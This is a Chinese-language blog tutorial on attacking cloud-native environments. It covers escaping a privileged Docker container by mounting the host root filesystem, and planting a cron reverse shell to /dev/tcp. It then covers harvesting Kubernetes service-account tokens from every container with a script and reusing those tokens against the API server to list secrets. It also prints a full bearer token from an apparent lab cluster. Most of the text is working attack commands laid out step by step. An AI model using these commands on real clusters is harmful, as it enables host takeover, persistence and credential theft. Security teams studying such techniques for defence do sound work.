云原生安全渗透篇

文章目录

思路

拿到容器shell 进行docker逃逸横向移动拿到privileged 提权到子节点再去搞k8s集权里的pod 找高权限token

知识补充

kubectl 权限限制是很安全的 主节点master节点可以执行kubectl 但子节点不可以

子节点可以控制docker

dockerenv 文件为docker环境

在域渗透中利用hash进行不断的hash传递一直找到一个更高权限的hash

在k8s中利用token横向移动直到找到一个有高权限服务账户的token

横向移动

Docker逃逸

docker和容器本身是很安全的包括k8s如果开启了privilege模式或者部署的是很老的操作系统,因为容器会内部共享一些东西,挂载目录时是使用的高权限目录也会导致docker逃逸,脏牛提权

根据逃逸或者横向 直到某个子节点

子节点

直接在服务器上面抓去信息,然后越权,看本地能够访问到哪些pod,或者从docker容器中去访问,能够访问到的内部正在运行的容器,因为可以命令执行,看有没有高权限的token

通过kubectl 查看能执行什么命令 进去后将容器内部的token 拿出来

在k8s中 容器或者pod内部可以存放高权限用户的服务账户

找高权限token

未授权访问的k8s

api server 未授权可以接管集群

逃逸

前提条件需要特权模式 privilege模式

pod文件配置如下

将宿主机的目录全部挂载到容器的目录下,容器可以操作宿主机的目录导致越权

遇到这种情况直接挂载系统盘

开启特权模式在容器内挂载宿主机的根文件系统

在上述命令启动的容器中,运行以下命令来挂载宿主机的根文件系统

bash 复制代码
mkdir  /priv

mount -t ext4  /dev/vda0 /priv

将宿主机的目录映射到容器目录下

查看宿主机文件
bash 复制代码
kubectl exec 容器名 --ls -alt /priv/root 
查看宿主机的文件内容
bash 复制代码
kubectl exec 容器名 -- cat /priv/root/.bash_history
查看该容器在哪个子节点
复制代码
kubectl get pods -o wide

票据越权

在每个子节点用户在他root根目录中都有一个票据

基于票据越权

查看是否为子节点
复制代码
docker ps | grep apiserver
基于节点校验权限
复制代码
cat /etc/kubernetes/kubelet.conf

查看user关键字 如果是default-auth就是普通权限

如果是system-node就是集群高权限

master节点

node子节点

基于服务账户鉴权

基于RBAC去分配服务权限

情景一 子节点docker进入容器 或get doker shell 目录为可以挂载或者已经挂载 宿主机目录(特权模式)

查看是否处于容器内部

1.命令残缺

2.拥有.dockerevn

查看是否为特权模式
bash 复制代码
cat /proc/self/status | grap -qi '0000003fffffffff' && echo 'Is privileged mode' || echo 'Not privileged mode'

查看/proc/self/status文件中是否有0000003fffffffff 如果有为特权模式

/*挂载*/
复制代码
mkdir  /priv
df -h 
mount -t ext4 /dev/vda0 /priv

df -h 查看所有盘符挂载最大的一半就是主分区

docker环境中 查看挂载的目录

bash 复制代码
ls /priv

可以访问宿主机目录时使用chroot命令更改docker的工作目录

bash 复制代码
chroot /priv /bin/bash
或
chroot /priv sh
获取宿主机文件共享shell
  1. 用户添加用户
  2. /var/spool/cron/crontabs 计划任务反弹shell
    • */1 * * * * sh -i >& /dev/tcp/ip/port >&
横向移动
在docker宿主机中查看 k8s权限
bash 复制代码
cat /kubelet.conf/.kube/config
或者
cat /etc/kubernetes/kubelet.conf

#子节点执行

将该文件复制到当前目录方便操作

bash 复制代码
cp /etc/kubernetes/kubelet.conf ./

检测自身权限

bash 复制代码
kubectl --kubeconfig kubelet.conf get pods #查看该权限可以运行的命名空间
kubectl --kubeconfig kubelet.conf get pods --all-namespaces # 查看master节点的命名空间
kubectl get secrets --all-namespaces 
netstat -antp | grep apis
获取子节点容器中的token

进入容器

bash 复制代码
kubectl exec pod -- cmd
或
docker exec -it 容器名

token存放位置

复制代码
cat /var/run/secrets/kubernetes.io/serviceaccount/token
脚本
sh 复制代码
#!/bin/bash
# 提取所有容器ID 
docker ps -q | while read -r container_id; do
	echo "===容器ID:$container_id ==="
	token=$(docker exec "$container_id" cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
	if [ $? -eq 0 ]; then
		echo "Token 内容:"
		echo  "$token"
	else
		echo "错误:  无法获取Token 或 文件不存在"
	fi
	echo -e "\n==========================================="
done
测试token

查询master节点的serverapi接口

复制代码
netstat -antp | grep 6443

通过token进行测试权限

bash 复制代码
kubectl --insecure-skip-tls-verify=true --server="https://ip:6443/" --
token="获取的token" get secrets --all-namespaces

bash 复制代码
kubectl --insecure-skip-tls-verify=true --server="https://192.168.80.135:6443/" --
token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ikx1Q3FMS1J2bXcwRlA0RGg3Z1NVMDhhOFc0Ri1WWFI5S2F
JbF9kRExTMzQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby
9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNj
b3VudC9zZWNyZXQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhLXRva2VuLTd2NnZnIiwia3ViZXJuZXRlcy
5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhIiwi
a3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZWViYzU2NWEtN2
Q0Ni00MDI5LTkxNDEtYjBiNDkwMDcyNWNlIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1
bHQ6aGlnaC1wcml2aWxlZ2Utc2EifQ.p2MDu_0kyAvreU_doDGpAamwkw1_utE-HSbFpVdlCIbo-
1gDdjTt7iVIGtfN5N4SYZ27UEy9CjQhEz7t_q61XUY23R1D4nehfOYvAcjDXNUhuPRoadDY9R1CwdbDZYs
ZuKSu46x88mWAtM5kHnYFVZz_tvVPUlZ-FCETlcn0NG8sBDPVjnJVxto3UxwaoMPW9mQUnAma7Zq7MhTDbD20EzfJ2HeZWeWe-
5j3ToGpfovSDmtdd4mp96qUAayGWVCxrHJKLrkg2edyAo2lP53kcU8UTOMeKR57UXMfy8RTix9kWvWd8Qr
OrTPBjTaU1qOlvyaJgLMnhI7K4jIgc0cXQ" get secrets --all-namespaces

默认kubectl子节点权限

bash 复制代码
kubectl --kubeconfig ./kubelet.conf get secert --all-namespaces 

kubectl --kubeconfig ./kubelet.conf get pods --all-namespaces
相关推荐
分布式存储与RustFS2 小时前
告别手动配置:用 Terraform 定义你的 RustFS 存储帝国
云原生·wpf·文件系统·terraform·对象存储·minio·rustfs
Mr_Meng_De2 小时前
AI环境下的网络安全人才的发展方向
安全·web安全
啥都不懂的小小白5 小时前
密码学入门:从古典加密到现代网络安全
安全·web安全·密码学
悠闲蜗牛�6 小时前
人工智能时代下的全栈开发:整合AI、大数据与云原生的实践策略
大数据·人工智能·云原生
ml魔力信息7 小时前
活体检测与防伪技术的安全与隐私分析
大数据·人工智能·安全·隐私保护·生物识别·活体检测
hhhhhlt7 小时前
【代码大模型-后门安全】Backdoors in Neural Models of Source Code
人工智能·安全
乾博电子7 小时前
配电安全“隐形哨兵”上线!RCMX-ONE剩余电流监视器,守护每一度电的安心
安全·故障定位·在线绝缘监测仪·绝缘监测仪
智驱力人工智能7 小时前
工厂抽烟检测系统 智能化安全管控新方案 加油站吸烟检测技术 吸烟行为智能监测
人工智能·算法·安全·边缘计算·抽烟检测算法·工厂抽烟检测系统·吸烟监测
爱笑的眼睛119 小时前
HarmonyOS SaveButton深度解析:安全便捷的媒体资源保存方案
安全·华为·harmonyos·媒体
荣光波比10 小时前
K8S(一)—— 云原生与Kubernetes(K8S)从入门到实践:基础概念与操作全解析
云原生·容器·kubernetes